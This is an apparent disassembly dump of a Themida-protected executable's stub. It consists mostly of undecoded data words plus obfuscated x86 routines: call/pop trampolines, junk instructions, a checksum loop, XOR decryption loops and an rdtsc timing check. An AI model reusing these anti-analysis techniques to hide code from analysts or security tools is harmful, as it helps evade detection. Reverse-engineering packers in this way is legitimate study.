dd 18042444h, 43000000h, 0F8EAC353h, 6651A88Ch, 0CDA7F381h
dd 0C454BD83h, 0F000616h, 47984h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 13C19111h
dd 9EF7D39Ch, 0B5FF22A2h, 616C454h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0CDC35242h, 0EB67B7C1h, 96995FFh
dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 0F61B7C3h, 0B58BDEB7h, 616C448h, 6C7D98Bh
dd 10001h, 2161BD8Bh, 0E9960613h, 14h, 71FDA791h, 57CF8BA0h
dd 480798B8h, 51B5CB7Fh, 83D7E214h, 0A54BF50h, 6A96308Ch
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0E8B1C355h, 44313174h, 8B370CBFh, 130CF99Dh
dd 54B5FF06h, 8B0616C4h, 1320799Dh, 2995FF06h, 8B061332h
dd 13109DBDh, 58D0F06h, 66000000h, 33EAE781h, 0C448B58Bh
dd 0D6BB0616h, 8B2EDC34h, 13063185h, 0C4868906h, 2B000000h
dd 130159BDh, 0BD958B06h, 6A06131Bh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 55B2C350h
dd 0C6CF801Dh, 6A04C283h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 63A9C352h, 8B191B87h
dd 205089F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 48C35646h, 0FB5C15Bh, 8D5BEF0Bh, 16D8E385h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0CB84546Ah, 25D687F8h, 8689EBD6h, 0B8h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D1C35646h, 0F1B1B52Bh
dd 9D03749Eh, 6130A7Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0B935A5C3h, 4180ACFCh
dd 81DDF4A3h, 40EB8DD7h, 0ED95311Ah, 0FF061314h, 16C454B5h
dd 0D7816606h, 95FF23ABh, 6131E95h, 0A800Fh, 60600000h
dd 19B52961h, 6106131Ah, 34BB6696h, 10E95098h, 0E8000000h
dd 0AFB3802Eh, 7247A3DAh, 9B990663h, 9698EB69h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E7C35747h, 0E9A8BC46h
dd 12h, 0EFCB69BBh, 0C0CC179Bh, 51780708h, 70D90241h, 0B5FFBA7Eh
dd 616C454h, 11B1BD8Bh, 95FF0613h, 6132145h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 84C35242h, 63C6E795h
dd 0EF81C3FAh, 43B7A6CDh, 1495BD83h, 0F000613h, 6184h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0E953F505h, 0E896878Dh, 6, 0A8DA9290h, 0BE938FFh
dd 0A6000000h, 0FE3D8F60h, 0F1214DB3h, 505F676Eh, 50006A96h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 4BDBBD1h, 0B5FFF520h, 616C454h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 6EC35747h, 0BBA3A12Dh, 5A0FE2CCh
dd 9629CF81h, 806021F2h, 0C980BDF5h, 95FF61C7h, 61305ADh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 48C35343h
dd 7172BD31h, 0F4579B2Fh, 0D38166B1h, 0B5FF026Ch, 616C454h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 30C35343h
dd 6FD3D4FDh, 0D9BD8B62h, 89061330h, 132071BDh, 995FF06h
dd 0F061312h, 68Fh, 0B1BD8900h, 83061314h, 130511BDh, 840F0206h
dd 83h, 0EE9h, 8E3E8400h, 4EDC27E1h, 7CA5B258h, 8B055E29h
dd 130F5585h, 10E906h, 70230000h, 38E267D8h, 62E760Bh
dd 35AD707Eh, 0C60031h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 545175CAh, 0D47DBAC5h
dd 6E85E53h, 4A000000h, 3F815DBDh, 5783BF95h, 0E95F572Eh
dd 13h, 0DAAFB380h, 637247A3h, 699B9906h, 0AA0098EBh, 66ABABE1h
dd 0C76A56BFh, 131E5185h, 6, 38A0F00h, 0F000000h, 52E9FABFh
dd 66FFFFF3h, 18CBEF81h, 9D8BC18Bh, 6132105h, 10E8h, 7028C700h
dd 3E0C9897h, 0C0CA44C6h, 14FE6426h, 718D89D1h, 5F061328h
dd 1EA9858Dh, 8B0F0613h, 5, 0D0D78052h, 890F905Bh, 2, 5050DA8Bh
dd 9E9h, 7216D000h, 538E009Ch, 905B64B8h, 68F0Fh, 0B5890000h
dd 6131EC1h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 94C375C3h, 9B098E16h, 8D8983F9h
dd 613284Dh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 8C243C3h, 0BD8949B9h, 6131CF5h
dd 2166858Dh, 83F90618h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 29FF1FC3h, 0DE8B664Fh
dd 1A99BD23h, 8B900613h, 6A9050D9h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0C80BC357h
dd 0EF8166D2h, 6A7258h, 0AE8h, 0EAF50200h, 0DC89777Bh
dd 80B30308h, 8B5BF5E3h, 6A006AF9h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5B89C355h
dd 0B98F1C90h, 0FF9682F6h, 1307F195h, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0A5D607C6h, 82013818h, 85293DE7h, 6132411h, 0A36A8D8Dh
dd 7E90616h, 6C000000h, 1971F497h, 0D1FF5572h, 336ECF80h
dd 13325D9Dh, 3DBD8306h, 1061317h, 42850Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 80FACEC3h, 0DF8B668Fh, 8B66026Ah, 0DC8A50D9h, 0B7240489h
dd 5E960h, 12020000h, 0FF56A975h, 131E9595h, 0DAB70F06h
dd 0D7DE9h, 0E800h, 815D0000h, 182170EDh, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 8AA440FAh, 5E858DD8h, 6A06168Fh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0CF9DC351h
dd 9614BB66h, 0C913BF66h, 0F525050h, 28Eh, 0FD88B00h, 5ADA8B31h
dd 24048958h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 0A7C35545h, 0F6D2AF9Bh, 80F986F5h, 66FD8A54h, 6401B7BBh
dd 35FFh, 64F90000h, 2589h, 0BD230000h, 6130965h, 16D985FFh
dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 0DA8B5AC3h, 0BD8BFF6Ah, 6132FADh, 2309B5FFh
dd 8B660613h, 0AD95FFFEh, 0E9061331h, 118h, 8E0Fh, 0B00000h
dd 2BF98D09h, 70E60613h, 0F71E4F8h, 1183h, 0CE900h, 652E0000h
dd 0C29642C7h, 0FD72F1DDh, 613C5B6Eh, 0E6830Fh, 0FF80000h
dd 0D88AC8B6h, 6BAh, 6810F00h, 3000000h, 1316FD9Dh
dd 0CE906h, 16650000h, 63DCAAFDh, 0F85F9AC8h, 0C18BB0ABh
dd 142ACB81h, 0E8C13FC5h, 443CBF04h, 0F7661D82h, 9E8E2h
dd 15790000h, 738D9D69h, 29C3D42Dh, 1334A58Dh, 0C82B5F06h
dd 0A26016BFh, 50D18B7Bh, 94FBB66h, 0D98B665Fh, 7FE9h
dd 0FFBF0F00h, 4C4C858Bh, 0BF66505Fh, 0C083B4C0h, 0C08307h
dd 0B589FE8Bh, 61319D1h, 830FD03Bh, 1Bh, 56E9F9h, 10E90000h
dd 95000000h, 8B892C74h, 82D91466h, 7092364Fh, 8B167531h
dd 0FFFFFF8Dh, 0FD8D89FFh, 8306131Eh, 840F01E1h, 2Ch, 0BF8AF380h
dd 78EEEA2Eh, 0FFFFA583h, 29FEFFFFh, 1321F585h, 4C958906h
dd 0F505F4Ch, 68Fh, 0E1958900h, 0E9061334h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+617A159h]
jmp loc_5CE655
; ---------------------------------------------------------------------------
db 0B4h
; ---------------------------------------------------------------------------
sbb al, 73h
xchg eax, edx
jmp short loc_5CE6B4
; ---------------------------------------------------------------------------
cmp al, 0ACh
shr byte ptr [eax], 73h
fdivp st(5), st
mov ds:31A7A57Fh, al
loc_5CE655: ; CODE XREF: Themida_:005CE63Ej
mov [ebp+6130B15h], ebx
push 0
push 0
push ebp
call sub_5CE668
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE668 proc near ; CODE XREF: Themida_:005CE660p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5CE668 endp
; ---------------------------------------------------------------------------
cld
aad 48h
mov ebp, 0D59D8BC3h
sbb edx, [ebx]
push es
call dword ptr [ebp+6130DA9h]
or [ebp+613150Dh], ebx
mov ecx, 10CAh
push 0
push ebx
call sub_5CE69F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE69F proc near ; CODE XREF: Themida_:005CE697p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5CE69F endp
; ---------------------------------------------------------------------------
db 81h
dd 0C691BC85h
; ---------------------------------------------------------------------------
loc_5CE6B4: ; CODE XREF: Themida_:005CE647j
in eax, 56h
mov bx, si
pop edi
and ecx, 0FFFFFFFCh
mov bx, 3EBEh
cld
mov [ebp+6133239h], esi
mov eax, 0
mov [ebp+6131F09h], esi
sub edx, edx
mov ebx, 3CA3C7BFh
loc_5CE6DA: ; CODE XREF: Themida_:005CE6E4j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5CE6DA
push 0
push ecx
call sub_5CE6F1
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE6F1 proc near ; CODE XREF: Themida_:005CE6E9p
; Themida_:005CE76Ej
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5CE6F1 endp
; ---------------------------------------------------------------------------
fsubrp st(3), st
jnb loc_5CE70F
mov ebx, [ebp+61310CDh]
loc_5CE70F: ; CODE XREF: Themida_:005CE703j
sub [ebp+613015Dh], ebx
or eax, 88h
push 0
push ebx
call sub_5CE725
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE725 proc near ; CODE XREF: Themida_:005CE71Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5CE725 endp
; ---------------------------------------------------------------------------
pop ss
xchg eax, edi
stc
mov dword ptr [esi], 61BD8Bh
adc eax, [esi]
mov ebx, [ebp+6131AA1h]
mov edx, [ebp+6131BBDh]
push 0
push ebp
call sub_5CE757
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE757 proc near ; CODE XREF: Themida_:005CE74Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5CE757 endp
; ---------------------------------------------------------------------------
shl ah, 1
mov ds:7AAA2B60h, al
jnz short sub_5CE6F1
sub edi, 70448644h
mov ecx, [ebp+61318DDh]
push 0
push ecx
call sub_5CE787
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE787 proc near ; CODE XREF: Themida_:005CE77Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5CE787 endp
; ---------------------------------------------------------------------------
jno short near ptr loc_5CE7B9+2
sbb al, 0A1h
mov ebx, [ebp+6130B69h]
push eax
mov eax, edx
mov ebx, [eax]
add eax, ecx
mov ebx, [eax]
mov eax, ecx
shr eax, 1
add eax, edx
mov ebx, [eax]
pop eax
mov edi, [ebp+6131935h]
loc_5CE7B9: ; CODE XREF: Themida_:005CE797j
mov ebx, [ebp+6131DF5h]
cmp dword ptr [ebp+6131D1Dh], 0
jz loc_5CE872
push 0
push ebp
call sub_5CE7D7
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE7D7 proc near ; CODE XREF: Themida_:005CE7CFp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5CE7D7 endp
; ---------------------------------------------------------------------------
db 35h
dd 4E80B363h, 1738DEF4h, 0DE943h, 5AE40000h, 9DA4E21Bh
dd 501CE31Ah, 0B8EAAD8Fh, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5CE813
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE813 proc near ; CODE XREF: Themida_:005CE80Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5CE813 endp
; ---------------------------------------------------------------------------
db 12h
dd 2E50D514h, 496010F8h, 0F59D23CEh, 29061300h, 131B45BDh
dd 8D8D8D06h, 6A06134Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 20C5C353h, 43C04Dh
dd 0F903496Fh, 0BD8BE1FFh, 6130785h, 1639B531h
; ---------------------------------------------------------------------------
adc eax, [esi]
loc_5CE872: ; CODE XREF: Themida_:005CE7C6j
cmp dword ptr [ebp+6133055h], 0
jz loc_5CED1D
push 0
push esi
call sub_5CE88A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE88A proc near ; CODE XREF: Themida_:005CE882p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5CE88A endp
; ---------------------------------------------------------------------------
dw 0CAF3h
dd 89E344A5h, 1322998Dh, 0BD83F506h, 6133055h, 85840F01h
dd 0F000004h, 0BD83FABFh, 6133055h, 3F860F03h, 6A000004h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 0DA19C355h, 5F59D8Bh, 9D890613h, 61334ADh
dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 57FA8F07h, 8C66763Dh, 55006AD9h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 279E621Ah
dd 808CA4B3h, 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 33D997C3h, 6BDA6740h, 0FC90AADh
dd 11384h, 7D9D8B00h, 3061323h, 1309619Dh, 0B9858B06h
dd 5206132Bh, 1F5B589h, 335F0613h, 1305B985h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 50D749EBh, 10E853h, 8DD50000h, 0F37889BBh, 2C9F7F7Ch
dd 0DFFC920Ah, 61602BF8h, 4895F5Bh, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 7826FCABh
dd 6A006A66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0A042C356h, 96C3AF32h, 68FFB70Fh
dd 1332C134h, 3481DD8Ah, 2DC2CB24h, 50006A13h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0EBC1B9D0h
dd 0A3D95FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 5FE20CC3h, 9D8BC470h, 61318E1h
dd 0C4548589h, 0E9FC0616h, 219h, 0FDE8B66h, 386h, 0F9B70F00h
dd 0C44C858Bh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 667947C3h, 9D8BE8FAh, 6132FE1h
dd 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 335ACCC3h, 0BF59251Bh, 45D19E4Ah
dd 0C450B58Bh, 89600616h, 1305A5B5h, 0BD8B6006h, 6130085h
dd 30B19D09h, 61610613h, 2A55858Bh, 6A0613h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 689F4C3h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h
dd 859531BEh, 0E906130Eh, 11h, 5C492EE3h, 40982B1Eh, 0A524BB12h
dd 7F973D3Eh, 0B9858B40h, 8906132Bh, 131BFDBDh, 4468906h
dd 50F98B66h, 0EE8h, 2952F600h, 0D4087744h, 0CBAD56BCh
dd 0F79B583h, 0E86h, 8E800h, 814D0000h, 7CAB548Fh, 5F5FA1F7h
dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 548AC357h, 5C936E4h, 34BA6660h
dd 6860FBAh, 89000000h, 132B2595h, 0B5FF6106h, 616C44Ch
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6DC35040h
dd 0D489FFBFh, 684618Fh, 198D8964h, 0E8061312h, 4, 1F03FFh
dd 0EE9h, 0D9D5CF00h, 3E9B78E1h, 39E81CDBh, 50AF9AB8h
dd 424448Bh, 880F008Bh, 5, 796F7BBBh, 24448964h, 50606004h
dd 55EFBA58h, 61617161h, 8DBD8B58h, 8D061300h, 16C45485h
dd 5BBB6606h, 0E9606035h, 14h, 0B682D6AAh, 0BEEFC83Eh
dd 0BB80016h, 9C43FCF6h, 0E8533EE3h, 228D9D89h, 61610613h
dd 50FB8B90h, 359D8990h, 0FF061324h, 130A3D95h, 0DE906h
dd 0CCA0000h, 0FB044ED0h, 0EE84894Fh, 81C64472h, 325313CBh
dd 6A6160h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 0E70F41C3h, 0F486C660h, 85C72E16h, 6133055h
dd 3, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch
dd 0D8C35242h, 0AE49008Dh, 103B8546h, 9BD9D8Bh, 0BD830613h
dd 616C454h, 1B840F00h, 0E9000000h, 0Bh, 88467B3Bh, 7B4077ECh
dd 0E9A7FDD5h, 21h, 34859589h, 30500613h, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
db 36h
; ---------------------------------------------------------------------------
loc_5CED1D: ; CODE XREF: Themida_:005CE879j
; Themida_:005CED34j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5CED1D
jmp short loc_5CED53
; ---------------------------------------------------------------------------
loc_5CED38: ; CODE XREF: Themida_:005CED4Fj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5CED38
loc_5CED51: ; CODE XREF: Themida_:005CEDC4j
jmp short $+2
loc_5CED53: ; CODE XREF: Themida_:005CED36j
mov eax, eax
push 0
push ebp
call sub_5CED60
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CED60 proc near ; CODE XREF: Themida_:005CED58p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5CED60 endp
; ---------------------------------------------------------------------------
or ah, [edi-40998254h]
adc eax, 55BD83FFh
xor [ebx], dl
push es
add ecx, [edi]
test edx, ebp
add eax, [eax]
add [ebx+131F2DBDh], cl
push es
cmp dword ptr [ebp+616C454h], 0
jz loc_5CF15A
or bh, 54h
push dword ptr [ebp+616C454h]
cld
call dword ptr [ebp+6130969h]
push 0
push ebx
call sub_5CEDB3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEDB3 proc near ; CODE XREF: Themida_:005CEDABp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5CEDB3 endp
; ---------------------------------------------------------------------------
xchg eax, ecx
jno short loc_5CED51
mov ch, 48h
les edx, [esi]
push es
push 0
push ecx
call sub_5CEDD6
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEDD6 proc near ; CODE XREF: Themida_:005CEDCEp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5CEDD6 endp
; ---------------------------------------------------------------------------
push cs
xor bl, ds:13B8B8F7h
test [esi-42h], esp
mov dword ptr [esi], 10001h
push 0
push eax
call sub_5CEE01
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEE01 proc near ; CODE XREF: Themida_:005CEDF9p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5CEE01 endp
; ---------------------------------------------------------------------------
db 0BEh, 0D7h, 0EFh
dd 0A43D4D77h, 11E896h, 4E00000h, 0A17BAC25h, 5E748FA1h
dd 69C1C76Ah, 66929381h, 505BFB8Bh, 56006A96h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 414031Bh, 39386059h
dd 88D3E781h, 0B5FF41F2h, 616C454h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 5FC35343h, 446C39F4h, 322995FFh
dd 0CEB70613h, 0C448B58Bh, 0EE90616h, 0E0000000h, 0B185F4CBh
dd 0E23BFFA1h, 8E5A4984h, 31858B85h, 6A061306h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 8B25C353h, 13152DBDh, 68E38106h, 890D9B43h, 0C486h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 25D44F10h, 0BD0B463Ch, 6131985h, 9C9BD8Bh
dd 0F7810613h, 2CAC4D4Ah, 1BBD958Bh, 0BD890613h, 6132F7Dh
dd 17699D29h, 0C2830613h, 55006A04h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 56E5F46Bh
dd 80205089h, 858DFAEFh, 616D8E3h, 8B0Fh, 86890000h, 0B8h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5C35242h
dd 0AA157076h, 0DD8AEA24h, 0F380006Ah, 54B5FF58h, 0F0616C4h
dd 68Bh, 919D8B00h, 0FF061301h, 131E9595h, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 5A880FDh, 0D4DEF8FCh, 7E8963Ah, 0D3000000h, 730D342Dh
dd 0C7B306ADh, 0BF66505Bh, 6A960E84h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5E26C352h
dd 0E598B664h, 0E8B4D0B2h, 6, 0C6E3A4E8h, 9D8BF957h, 6133069h
dd 54B5FF5Bh, 890616C4h, 1328E9BDh, 4595FF06h, 6A061321h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0C449C352h, 0B8553F41h, 27BB6606h, 95BD83F5h
dd 61314h, 45840Fh, 9E90000h, 0A000000h, 0CE16D42Ah, 99729561h
dd 12EB8166h, 8C0F9636h, 5, 18DC2ABBh, 0F98A5065h, 55006A96h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 81661A38h, 0FF8C72EBh, 16C454B5h, 0B99D8B06h, 8B061310h
dd 1313C9BDh, 0AD95FF06h, 81061305h, 0FE4125D3h, 54B5FF0Bh
dd 0E90616C4h, 11h, 0BF49A384h, 671DA23Bh, 7695F91h, 0B32DA003h
dd 0D9BD292Ah, 0FF061305h, 13120995h, 0DB50106h, 8006130Dh
dd 0BD839ADFh, 6130511h, 5B840F02h, 89000000h, 1307058Dh
dd 55858B06h, 6A06130Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0A332C357h, 88EC8B5Fh
dd 0C6B68142h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0DB99C6C3h, 0FCD00F1h, 0BF0FFEB7h
dd 85C7F5FBh, 6131E51h, 0
; ---------------------------------------------------------------------------
mov edi, [ebp+61314EDh]
loc_5CF15A: ; CODE XREF: Themida_:005CED92j
jmp near ptr dword_5CDD68+79Ch
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5CF16A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF16A proc near ; CODE XREF: Themida_:005CF162p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5CF16A endp
; ---------------------------------------------------------------------------
fucomp st(7)
mov ebp, 232FC9D0h
push esp
pop edi
push esi
pop edi
push ecx
clc
pop edi
mov eax, ecx
push 0
push eax
call sub_5CF195
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF195 proc near ; CODE XREF: Themida_:005CF18Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5CF195 endp
; ---------------------------------------------------------------------------
sub [eax], esi
pop es
adc [ecx], bh
push esi
mov edi, [ebp+6132FE9h]
pop ebx
lea eax, [ebp+6131EA9h]
jmp loc_5CF1C4
; ---------------------------------------------------------------------------
db 0C1h, 4Eh, 0EBh
dd 4C23A7A7h
; ---------------------------------------------------------------------------
loc_5CF1C4: ; CODE XREF: Themida_:005CF1B8j
movzx edi, ax
nop
push eax
push eax
push edx
rdtsc
mov bl, dh
pop edx
pop eax
nop
push 0
push 0
push ebx
call sub_5CF1DF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF1DF proc near ; CODE XREF: Themida_:005CF1D7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5CF1DF endp
; ---------------------------------------------------------------------------
push 0F5958B60h
adc edx, [ebx]
push es
popa
push 0
push 0
push ebp
call sub_5CF205
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF205 proc near ; CODE XREF: Themida_:005CF1FDp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5CF205 endp
; ---------------------------------------------------------------------------
db 81h, 0CCh, 0Ah
; ---------------------------------------------------------------------------
jmp loc_5CF224
; ---------------------------------------------------------------------------
db 67h, 5Ch, 0DCh
dd 0A8FE906Dh
; ---------------------------------------------------------------------------
loc_5CF224: ; CODE XREF: Themida_:005CF218j
lea eax, [ebp+61830F5h]
push 0
push eax
call sub_5CF235
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF235 proc near ; CODE XREF: Themida_:005CF22Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5CF235 endp
; ---------------------------------------------------------------------------
cmp al, 0B4h
add eax, 5
push 0
push ecx
call sub_5CF255
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF255 proc near ; CODE XREF: Themida_:005CF24Dp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5CF255 endp
; ---------------------------------------------------------------------------
db 74h, 60h, 0Fh
dd 58Ah, 0D7816600h, 0CE88A9Ah, 59000000h, 514DE381h, 0B1F030DCh
dd 8924DB26h, 1300A19Dh, 90615B06h, 9E9h, 95A41A00h, 91402D87h
dd 0E850D782h, 0Ah, 4EBBAC65h, 0B934B9BDh, 66B736DDh, 0FC60905Fh
dd 2349BD29h, 6A610613h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 368ECD97h, 19FFCFC3h
dd 8D896500h, 61306F9h, 0FC8A006Ah, 7F195FFh, 95890613h
dd 6132849h, 0A36A8D8Dh, 6A0616h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 652D2AC3h, 7ABB0804h
dd 0FF37B73Ch, 0D18D89D1h, 83061322h, 13173DBDh, 850F0106h
dd 8Bh, 0B1DB509h, 26A0613h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 0EC35242h, 13164EFh, 34C0C879h
